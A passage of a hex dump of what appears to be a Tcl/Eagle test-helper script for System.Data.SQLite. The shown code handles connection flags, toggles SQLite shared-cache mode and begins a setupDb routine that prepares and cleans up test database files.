20 20 6e 65 # ne 11d10 77 20 76 61 6c 75 65 2e 0d 0a 20 20 20 20 20 20 w value... 11d20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 73 65 74 #.. set 11d30 20 66 6c 61 67 73 20 5b 63 6f 6d 62 69 6e 65 46 flags [combineF 11d40 6c 61 67 73 20 24 66 6c 61 67 73 20 24 3a 3a 63 lags$flags $::c 11d50 6f 6e 6e 65 63 74 69 6f 6e 5f 66 6c 61 67 73 5d onnection_flags] 11d60 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 11d70 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 # NOTE: S 11d80 68 6f 77 20 28 61 6e 64 20 6c 6f 67 29 20 74 68 how (and log) th 11d90 65 20 6e 65 77 20 65 66 66 65 63 74 69 76 65 20 e new effective 11da0 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 67 73 connection flags 11db0 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 11dc0 20 20 20 20 20 20 69 66 20 7b 21 24 71 75 69 65 if {!$quie 11dd0 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 t} then {.. 11de0 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 if {![info 11df0 65 78 69 73 74 73 20 3a 3a 6e 6f 28 65 6d 69 74 exists ::no(emit 11e00 43 6f 6d 62 69 6e 65 64 46 6c 61 67 73 29 5d 20 CombinedFlags)] 11e10 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 && \.. 11e20 20 20 20 20 28 21 5b 69 6e 66 6f 20 65 78 69 73 (![info exis 11e30 74 73 20 3a 3a 6e 6f 28 65 6d 69 74 43 6f 6d 62 ts ::no(emitComb 11e40 69 6e 65 64 46 6c 61 67 73 49 66 4e 6f 6e 65 29 inedFlagsIfNone) 11e50 5d 20 7c 7c 20 5c 0d 0a 20 20 20 20 20 20 20 20 ] || \.. 11e60 20 20 20 20 20 20 20 21 5b 68 61 73 4e 6f 46 6c ![hasNoFl 11e70 61 67 73 20 66 6c 61 67 73 20 66 61 6c 73 65 5d ags flags false] 11e80 29 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 )} then {.. 11e90 20 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a tputs $:: 11ea0 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 test_channel [ap 11eb0 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 pendArgs \.. 11ec0 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d "--- 11ed0 2d 20 63 6f 6d 62 69 6e 65 64 20 63 6f 6e 6e 65 - combined conne 11ee0 63 74 69 6f 6e 20 66 6c 61 67 73 20 66 6f 72 20 ction flags for 11ef0 22 20 24 64 61 74 61 62 61 73 65 20 5c 0d 0a 20 "$database \.. 11f00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 " 11f10 20 61 72 65 3a 20 22 20 5b 65 78 70 72 20 7b 21 are: " [expr {! 11f20 5b 68 61 73 4e 6f 46 6c 61 67 73 20 66 6c 61 67 [hasNoFlags flag 11f30 73 20 66 61 6c 73 65 5d 20 3f 20 5c 0d 0a 20 20 s false] ? \.. 11f40 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 61 [a 11f50 70 70 65 6e 64 41 72 67 73 20 5c 22 20 24 66 6c ppendArgs \" $fl 11f60 61 67 73 20 5c 22 5d 20 3a 20 22 3c 6e 6f 6e 65 ags \"] : "<none 11f70 3e 22 7d 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 >"}] \n].. 11f80 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 11f90 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 .. }.... 11fa0 20 20 20 72 65 74 75 72 6e 20 24 66 6c 61 67 73 return$flags 11fb0 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 11fc0 70 72 6f 63 20 67 65 74 46 6c 61 67 73 50 72 6f proc getFlagsPro 11fd0 70 65 72 74 79 20 7b 20 7b 66 6c 61 67 73 20 22 perty { {flags " 11fe0 22 7d 20 7b 71 75 69 65 74 20 66 61 6c 73 65 7d "} {quiet false} 11ff0 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 } {.. #.. 12000 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 44 65 74 # NOTE: Det 12010 65 72 6d 69 6e 65 20 77 68 61 74 20 74 68 65 20 ermine what the 12020 63 6f 6d 62 69 6e 65 64 20 28 67 6c 6f 62 61 6c combined (global 12030 20 61 6e 64 20 6c 6f 63 61 6c 29 20 63 6f 6e 6e and local) conn 12040 65 63 74 69 6f 6e 0d 0a 20 20 20 20 20 20 23 20 ection.. # 12050 20 20 20 20 20 20 66 6c 61 67 73 20 73 68 6f 75 flags shou 12060 6c 64 20 62 65 2c 20 70 6f 73 73 69 62 6c 79 20 ld be, possibly 12070 71 75 69 65 74 6c 79 2e 0d 0a 20 20 20 20 20 20 quietly... 12080 23 0d 0a 20 20 20 20 20 20 73 65 74 20 66 6c 61 #.. set fla 12090 67 73 20 5b 67 65 74 43 6f 6e 6e 65 63 74 69 6f gs [getConnectio 120a0 6e 46 6c 61 67 73 20 22 22 20 24 66 6c 61 67 73 nFlags "" $flags 120b0 20 24 71 75 69 65 74 5d 0d 0a 0d 0a 20 20 20 20$quiet].... 120c0 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 120d0 45 3a 20 49 66 20 6e 6f 20 67 6c 6f 62 61 6c 20 E: If no global 120e0 6f 72 20 6c 6f 63 61 6c 20 63 6f 6e 6e 65 63 74 or local connect 120f0 69 6f 6e 20 66 6c 61 67 73 20 77 65 72 65 20 73 ion flags were s 12100 70 65 63 69 66 69 65 64 2c 20 74 68 65 0d 0a 20 pecified, the.. 12110 20 20 20 20 20 23 20 20 20 20 20 20 20 64 65 66 # def 12120 61 75 6c 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 ault connection 12130 66 6c 61 67 73 20 73 68 6f 75 6c 64 20 62 65 20 flags should be 12140 75 73 65 64 3b 20 74 68 65 72 65 66 6f 72 65 2c used; therefore, 12150 20 72 65 74 75 72 6e 0d 0a 20 20 20 20 20 20 23 return.. # 12160 20 20 20 20 20 20 20 61 6e 20 65 6d 70 74 79 20 an empty 12170 73 74 72 69 6e 67 20 69 6e 20 74 68 61 74 20 63 string in that c 12180 61 73 65 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 ase... #.. 12190 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 if {[string 121a0 20 6c 65 6e 67 74 68 20 24 66 6c 61 67 73 5d 20 length $flags] 121b0 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. 121c0 20 20 20 20 20 20 72 65 74 75 72 6e 20 22 22 0d return "". 121d0 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 121e0 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 121f0 45 3a 20 49 6e 20 6f 72 64 65 72 20 74 6f 20 63 E: In order to c 12200 68 65 63 6b 20 69 66 20 74 68 65 20 64 65 66 61 heck if the defa 12210 75 6c 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 ult connection f 12220 6c 61 67 73 20 61 72 65 20 62 65 69 6e 67 20 75 lags are being u 12230 73 65 64 0d 0a 20 20 20 20 20 20 23 20 20 20 20 sed.. # 12240 20 20 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 it is necessa 12250 72 79 20 74 6f 20 61 74 74 65 6d 70 74 20 61 20 ry to attempt a 12260 63 6f 6e 76 65 72 73 69 6f 6e 20 74 6f 20 74 68 conversion to th 12270 65 20 61 63 74 75 61 6c 20 65 6e 75 6d 65 72 61 e actual enumera 12280 74 65 64 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ted.. # 12290 20 20 20 74 79 70 65 2e 20 20 46 61 69 6c 69 6e type. Failin 122a0 67 20 74 68 61 74 2c 20 74 68 65 20 63 68 65 63 g that, the chec 122b0 6b 20 61 67 61 69 6e 73 74 20 74 68 65 20 64 65 k against the de 122c0 66 61 75 6c 74 20 76 61 6c 75 65 20 77 69 6c 6c fault value will 122d0 20 62 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 be.. # 122e0 20 20 20 73 6b 69 70 70 65 64 2e 0d 0a 20 20 20 skipped... 122f0 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 12300 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 [catch {.. 12310 20 20 73 65 74 20 65 72 72 6f 72 20 6e 75 6c 6c set error null 12320 3b 20 23 20 49 47 4e 4f 52 45 44 0d 0a 0d 0a 20 ; # IGNORED.... 12330 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e object in 12340 76 6f 6b 65 20 55 74 69 6c 69 74 79 20 54 72 79 voke Utility Try 12350 50 61 72 73 65 46 6c 61 67 73 45 6e 75 6d 20 22 ParseFlagsEnum " 12360 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 " \.. 12370 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL 12380 69 74 65 2e 53 51 4c 69 74 65 43 6f 6e 6e 65 63 ite.SQLiteConnec 12390 74 69 6f 6e 46 6c 61 67 73 20 22 22 20 24 66 6c tionFlags ""$fl 123a0 61 67 73 20 6e 75 6c 6c 20 74 72 75 65 20 5c 0d ags null true \. 123b0 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 75 . tru 123c0 65 20 65 72 72 6f 72 0d 0a 20 20 20 20 20 20 7d e error.. } 123d0 20 76 61 6c 75 65 5d 7d 20 74 68 65 6e 20 7b 0d value]} then {. 123e0 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 123f0 20 20 20 20 23 20 4e 4f 54 45 3a 20 41 74 74 65 # NOTE: Atte 12400 6d 70 74 69 6e 67 20 74 6f 20 70 61 72 73 65 20 mpting to parse 12410 74 68 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 the connection f 12420 6c 61 67 73 20 63 61 75 73 65 64 20 61 20 73 63 lags caused a sc 12430 72 69 70 74 0d 0a 20 20 20 20 20 20 20 20 23 20 ript.. # 12440 20 20 20 20 20 20 65 72 72 6f 72 2e 20 20 45 6d error. Em 12450 69 74 20 61 20 77 61 72 6e 69 6e 67 20 74 6f 20 it a warning to 12460 74 68 65 20 74 65 73 74 20 6c 6f 67 20 66 69 6c the test log fil 12470 65 20 61 6e 64 20 63 6f 6e 74 69 6e 75 65 0d 0a e and continue.. 12480 20 20 20 20 20 20 20 20 23 20 20 20 20 20 20 20 # 12490 75 73 69 6e 67 20 61 6e 20 65 6d 74 70 79 20 73 using an emtpy s 124a0 74 72 69 6e 67 20 69 6e 73 74 65 61 64 2e 0d 0a tring instead... 124b0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 124c0 20 20 20 74 6c 6f 67 20 5b 61 70 70 65 6e 64 41 tlog [appendA 124d0 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. 124e0 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 "==== WARNING 124f0 3a 20 66 61 69 6c 65 64 20 74 6f 20 70 61 72 73 : failed to pars 12500 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 e connection fla 12510 67 73 2c 20 65 72 72 6f 72 3a 20 22 20 5c 0d 0a gs, error: " \.. 12520 20 20 20 20 20 20 20 20 20 20 20 20 5c 6e 5c 74 \n\t 12530 20 24 76 61 6c 75 65 20 5c 6e 5d 0d 0a 0d 0a 20 $value \n].... 12540 20 20 20 20 20 20 20 73 65 74 20 76 61 6c 75 65 set value 12550 20 22 22 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a "".. }.... 12560 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 #.. # 12570 20 4e 4f 54 45 3a 20 49 66 20 74 68 65 20 63 6f NOTE: If the co 12580 6d 62 69 6e 65 64 20 66 6c 61 67 73 20 73 74 72 mbined flags str 12590 69 6e 67 20 63 6f 75 6c 64 20 6e 6f 74 20 61 63 ing could not ac 125a0 74 75 61 6c 6c 79 20 62 65 20 63 6f 6e 76 65 72 tually be conver 125b0 74 65 64 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ted.. # 125c0 20 20 20 74 6f 20 74 68 65 20 65 6e 75 6d 65 72 to the enumer 125d0 61 74 65 64 20 74 79 70 65 20 69 74 20 69 73 20 ated type it is 125e0 74 68 65 20 64 65 66 61 75 6c 74 20 76 61 6c 75 the default valu 125f0 65 2c 20 74 68 65 6e 20 6a 75 73 74 20 75 73 65 e, then just use 12600 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 .. # 12610 69 74 20 76 65 72 62 61 74 69 6d 3b 20 6f 74 68 it verbatim; oth 12620 65 72 77 69 73 65 2c 20 6a 75 73 74 20 72 65 74 erwise, just ret 12630 75 72 6e 20 61 6e 20 65 6d 70 74 79 20 73 74 72 urn an empty str 12640 69 6e 67 2e 20 20 49 6e 20 74 68 61 74 0d 0a 20 ing. In that.. 12650 20 20 20 20 20 23 20 20 20 20 20 20 20 63 61 73 # cas 12660 65 2c 20 74 68 65 20 64 65 66 61 75 6c 74 20 63 e, the default c 12670 6f 6e 6e 65 63 74 69 6f 6e 20 66 6c 61 67 73 20 onnection flags 12680 77 69 6c 6c 20 62 65 20 75 73 65 64 2e 0d 0a 20 will be used... 12690 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 126a0 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 {[string length 126b0 20 24 76 61 6c 75 65 5d 20 3d 3d 20 30 20 7c 7c$value] == 0 || 126c0 20 24 76 61 6c 75 65 20 6e 65 20 22 44 65 66 61 $value ne "Defa 126d0 75 6c 74 22 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ult"} then {.. 126e0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 126f0 20 23 20 57 41 52 4e 49 4e 47 3a 20 54 68 69 73 # WARNING: This 12700 20 72 65 74 75 72 6e 73 20 74 68 65 20 73 74 72 returns the str 12710 69 6e 67 20 76 61 6c 75 65 20 6f 66 20 74 68 65 ing value of the 12720 20 63 6f 6d 62 69 6e 65 64 20 66 6c 61 67 73 2c combined flags, 12730 20 6e 6f 74 0d 0a 20 20 20 20 20 20 20 20 23 20 not.. # 12740 20 20 20 20 20 20 20 20 20 74 68 65 20 65 6e 75 the enu 12750 6d 65 72 61 74 65 64 20 76 61 6c 75 65 2e 20 20 merated value. 12760 54 68 69 73 20 69 73 20 62 79 20 64 65 73 69 67 This is by desig 12770 6e 20 61 6e 64 20 73 68 6f 75 6c 64 20 6e 6f 74 n and should not 12780 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 20 .. # 12790 20 20 20 20 20 62 65 20 63 68 61 6e 67 65 64 20 be changed 127a0 77 69 74 68 6f 75 74 20 63 61 72 65 66 75 6c 20 without careful 127b0 63 6f 6e 73 69 64 65 72 61 74 69 6f 6e 20 28 65 consideration (e 127c0 2e 67 2e 20 69 74 20 77 6f 75 6c 64 0d 0a 20 20 .g. it would.. 127d0 20 20 20 20 20 20 23 20 20 20 20 20 20 20 20 20 # 127e0 20 70 72 65 76 65 6e 74 20 74 68 65 20 53 51 4c prevent the SQL 127f0 69 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 20 63 6c iteConnection cl 12800 61 73 73 20 66 72 6f 6d 20 61 6c 6c 6f 77 69 6e ass from allowin 12810 67 20 69 6e 76 61 6c 69 64 0d 0a 20 20 20 20 20 g invalid.. 12820 20 20 20 23 20 20 20 20 20 20 20 20 20 20 5b 22 # [" 12830 6d 61 67 69 63 61 6c 22 5d 20 6d 65 74 61 2d 66 magical"] meta-f 12840 6c 61 67 73 29 2e 0d 0a 20 20 20 20 20 20 20 20 lags)... 12850 23 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 #.. retur 12860 6e 20 5b 61 70 70 65 6e 64 41 72 67 73 20 22 46 n [appendArgs "F 12870 6c 61 67 73 3d 22 20 24 66 6c 61 67 73 20 5c 3b lags="$flags \; 12880 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 ].. }.... 12890 20 20 20 20 72 65 74 75 72 6e 20 22 22 0d 0a 20 return "".. 128a0 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f }..... pro 128b0 63 20 65 6e 61 62 6c 65 53 68 61 72 65 64 43 61 c enableSharedCa 128c0 63 68 65 20 7b 20 63 68 61 6e 6e 65 6c 20 65 6e che { channel en 128d0 61 62 6c 65 20 7b 71 75 69 65 74 20 66 61 6c 73 able {quiet fals 128e0 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 69 66 e} } {.. if 128f0 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 {[catch {.. 12900 20 20 20 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b object invok 12910 65 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 e -flags +NonPub 12920 6c 69 63 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 lic \.. 12930 20 20 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 System.Data.S 12940 51 4c 69 74 65 2e 55 6e 73 61 66 65 4e 61 74 69 QLite.UnsafeNati 12950 76 65 4d 65 74 68 6f 64 73 20 5c 0d 0a 20 20 20 veMethods \.. 12960 20 20 20 20 20 20 20 20 20 73 71 6c 69 74 65 33 sqlite3 12970 5f 65 6e 61 62 6c 65 5f 73 68 61 72 65 64 5f 63 _enable_shared_c 12980 61 63 68 65 20 5b 65 78 70 72 20 69 6e 74 28 24 ache [expr int($12990 65 6e 61 62 6c 65 29 5d 0d 0a 20 20 20 20 20 20 enable)].. 129a0 7d 20 72 65 73 75 6c 74 5d 20 3d 3d 20 30 7d 20 } result] == 0} 129b0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 129c0 69 66 20 7b 21 24 71 75 69 65 74 7d 20 74 68 65 if {!$quiet} the 129d0 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 n {.. t 129e0 70 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 5b 61 puts $channel [a 129f0 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 ppendArgs \.. 12a00 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 12a10 20 63 61 6c 6c 20 73 71 6c 69 74 65 33 5f 65 6e call sqlite3_en 12a20 61 62 6c 65 5f 73 68 61 72 65 64 5f 63 61 63 68 able_shared_cach 12a30 65 28 22 20 24 65 6e 61 62 6c 65 20 5c 0d 0a 20 e("$enable \.. 12a40 20 20 20 20 20 20 20 20 20 20 20 20 20 22 29 2e "). 12a50 2e 2e 20 6f 6b 3a 20 22 20 24 72 65 73 75 6c 74 .. ok: " $result 12a60 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 7d 0d \n].. }. 12a70 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d . } else {. 12a80 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 24 71 . if {!$q 12a90 75 69 65 74 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 uiet} then {.. 12aa0 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 63 tputs $c 12ab0 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 12ac0 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 gs \.. 12ad0 20 20 20 20 22 2d 2d 2d 2d 20 63 61 6c 6c 20 73 "---- call s 12ae0 71 6c 69 74 65 33 5f 65 6e 61 62 6c 65 5f 73 68 qlite3_enable_sh 12af0 61 72 65 64 5f 63 61 63 68 65 28 22 20 24 65 6e ared_cache("$en 12b00 61 62 6c 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 able \.. 12b10 20 20 20 20 20 20 22 29 2e 2e 2e 20 65 72 72 6f ")... erro 12b20 72 3a 20 22 20 5c 6e 5c 74 20 24 72 65 73 75 6c r: " \n\t $resul 12b30 74 20 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 7d t \n].. } 12b40 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d .. }.. } 12b50 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 73 65 ..... proc se 12b60 74 75 70 44 62 20 7b 0d 0a 20 20 20 20 20 20 20 tupDb {.. 12b70 20 20 20 20 20 66 69 6c 65 4e 61 6d 65 20 7b 6d fileName {m 12b80 6f 64 65 20 22 22 7d 20 7b 64 61 74 65 54 69 6d ode ""} {dateTim 12b90 65 46 6f 72 6d 61 74 20 22 22 7d 20 7b 64 61 74 eFormat ""} {dat 12ba0 65 54 69 6d 65 4b 69 6e 64 20 22 22 7d 20 7b 66 eTimeKind ""} {f 12bb0 6c 61 67 73 20 22 22 7d 0d 0a 20 20 20 20 20 20 lags ""}.. 12bc0 20 20 20 20 20 20 7b 65 78 74 72 61 20 22 22 7d {extra ""} 12bd0 20 7b 71 75 61 6c 69 66 79 20 74 72 75 65 7d 20 {qualify true} 12be0 7b 64 65 6c 65 74 65 20 74 72 75 65 7d 20 7b 75 {delete true} {u 12bf0 72 69 20 66 61 6c 73 65 7d 0d 0a 20 20 20 20 20 ri false}.. 12c00 20 20 20 20 20 20 20 7b 74 65 6d 70 6f 72 61 72 {temporar 12c10 79 20 74 72 75 65 7d 20 7b 76 61 72 4e 61 6d 65 y true} {varName 12c20 20 64 62 7d 20 7b 71 75 69 65 74 20 66 61 6c 73 db} {quiet fals 12c30 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 0d e} } {.. #. 12c40 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 46 . # NOTE: F 12c50 69 72 73 74 2c 20 73 65 65 20 69 66 20 6f 75 72 irst, see if our 12c60 20 63 61 6c 6c 65 72 20 68 61 73 20 72 65 71 75 caller has requ 12c70 65 73 74 65 64 20 61 6e 20 69 6e 2d 6d 65 6d 6f ested an in-memo 12c80 72 79 20 64 61 74 61 62 61 73 65 2e 0d 0a 20 20 ry database... 12c90 20 20 20 20 23 0d 0a 20 20 20 20 20 20 73 65 74 #.. set 12ca0 20 69 73 4d 65 6d 6f 72 79 20 5b 69 73 4d 65 6d isMemory [isMem 12cb0 6f 72 79 44 62 20 24 66 69 6c 65 4e 61 6d 65 5d oryDb$fileName] 12cc0 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 .... #.. 12cd0 20 20 20 23 20 4e 4f 54 45 3a 20 46 6f 72 20 6e # NOTE: For n 12ce0 6f 77 2c 20 61 6c 6c 20 74 65 73 74 20 64 61 74 ow, all test dat 12cf0 61 62 61 73 65 73 20 75 73 65 64 20 62 79 20 74 abases used by t 12d00 68 65 20 74 65 73 74 20 73 75 69 74 65 20 61 72 he test suite ar 12d10 65 20 70 6c 61 63 65 64 0d 0a 20 20 20 20 20 20 e placed.. 12d20 23 20 20 20 20 20 20 20 69 6e 74 6f 20 74 68 65 # into the 12d30 20 64 61 74 61 62 61 73 65 20 64 69 72 65 63 74 database direct 12d40 6f 72 79 2e 20 20 45 61 63 68 20 64 61 74 61 62 ory. Each datab 12d50 61 73 65 20 61 6e 64 20 72 65 6c 61 74 65 64 20 ase and related 12d60 66 69 6c 65 73 0d 0a 20 20 20 20 20 20 23 20 20 files.. # 12d70 20 20 20 20 20 75 73 65 64 20 62 79 20 61 20 74 used by a t 12d80 65 73 74 20 73 68 6f 75 6c 64 20 62 65 20 63 6c est should be cl 12d90 65 61 6e 65 64 20 75 70 20 62 79 20 74 68 61 74 eaned up by that 12da0 20 74 65 73 74 20 75 73 69 6e 67 20 74 68 65 0d test using the. 12db0 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 20 22 . # " 12dc0 63 6c 65 61 6e 75 70 44 62 22 20 70 72 6f 63 65 cleanupDb" proce 12dd0 64 75 72 65 2c 20 62 65 6c 6f 77 2e 0d 0a 20 20 dure, below... 12de0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 #.. if 12df0 7b 21 24 69 73 4d 65 6d 6f 72 79 20 26 26 20 24 {!$isMemory &&$ 12e00 71 75 61 6c 69 66 79 7d 20 74 68 65 6e 20 7b 0d qualify} then {. 12e10 0a 20 20 20 20 20 20 20 20 73 65 74 20 66 69 6c . set fil 12e20 65 4e 61 6d 65 20 5b 66 69 6c 65 20 6a 6f 69 6e eName [file join 12e30 20 5b 67 65 74 44 61 74 61 62 61 73 65 44 69 72 [getDatabaseDir 12e40 65 63 74 6f 72 79 5d 20 5b 66 69 6c 65 20 74 61 ectory] [file ta 12e50 69 6c 20 24 66 69 6c 65 4e 61 6d 65 5d 5d 0d 0a il $fileName]].. 12e60 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... 12e70 20 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 #.. # NOTE 12e80 3a 20 42 79 20 64 65 66 61 75 6c 74 2c 20 64 65 : By default, de 12e90 6c 65 74 65 20 61 6e 79 20 70 72 65 2d 65 78 69 lete any pre-exi 12ea0 73 74 69 6e 67 20 64 61 74 61 62 61 73 65 20 77 sting database w 12eb0 69 74 68 20 74 68 65 20 73 61 6d 65 20 66 69 6c ith the same fil 12ec0 65 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 e.. # 12ed0 20 6e 61 6d 65 20 69 66 20 69 74 20 63 75 72 72 name if it curr 12ee0 65 6e 74 6c 79 20 65 78 69 73 74 73 2e 0d 0a 20 ently exists... 12ef0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 #.. if 12f00 20 7b 21 24 69 73 4d 65 6d 6f 72 79 20 26 26 20 {!$isMemory && 12f10 24 64 65 6c 65 74 65 20 26 26 20 5b 66 69 6c 65 $delete && [file 12f20 20 65 78 69 73 74 73 20 24 66 69 6c 65 4e 61 6d exists$fileNam 12f30 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 e]} then {.. 12f40 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 12f50 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 74 NOTE: Attempt t 12f60 6f 20 64 65 6c 65 74 65 20 61 6e 79 20 70 72 65 o delete any pre 12f70 2d 65 78 69 73 74 69 6e 67 20 64 61 74 61 62 61 -existing databa 12f80 73 65 20 77 69 74 68 20 74 68 65 20 73 61 6d 65 se with the same 12f90 20 66 69 6c 65 0d 0a 20 20 20 20 20 20 20 20 23 file.. # 12fa0 20 20 20 20 20 20 20 6e 61 6d 65 2e 0d 0a 20 20 name... 12fb0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 12fc0 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 66 69 6c if {[catch {fil 12fd0 65 20 64 65 6c 65 74 65 20 24 66 69 6c 65 4e 61 e delete $fileNa 12fe0 6d 65 7d 20 65 72 72 6f 72 5d 7d 20 74 68 65 6e me} error]} then 12ff0 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 23 0d {.. #. 13000 0a 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f 54 . # NOT 13010 45 3a 20 57 65 20 73 6f 6d 65 68 6f 77 20 66 61 E: We somehow fa 13020 69 6c 65 64 20 74 6f 20 64 65 6c 65 74 65 20 74 iled to delete t 13030 68 65 20 66 69 6c 65 2c 20 72 65 70 6f 72 74 20 he file, report 13040 77 68 79 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 why... 13050 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 #.. if 13060 7b 21 24 71 75 69 65 74 7d 20 74 68 65 6e 20 7b {!$quiet} then { 13070 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 .. tp 13080 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e uts $::test_chan 13090 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs 130a0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 130b0 20 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 "==== WARNING 130c0 3a 20 66 61 69 6c 65 64 20 74 6f 20 64 65 6c 65 : failed to dele 130d0 74 65 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 te database file 130e0 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 20 5c \""$fileName \ 130f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 13100 20 20 22 5c 22 20 64 75 72 69 6e 67 20 73 65 74 "\" during set 13110 75 70 2c 20 65 72 72 6f 72 3a 20 22 20 5c 6e 5c up, error: " \n\ 13120 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d 0a 20 20 t $error \n].. 13130 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 13140 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d }.. }... 13150 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 13160 23 20 4e 4f 54 45 3a 20 52 65 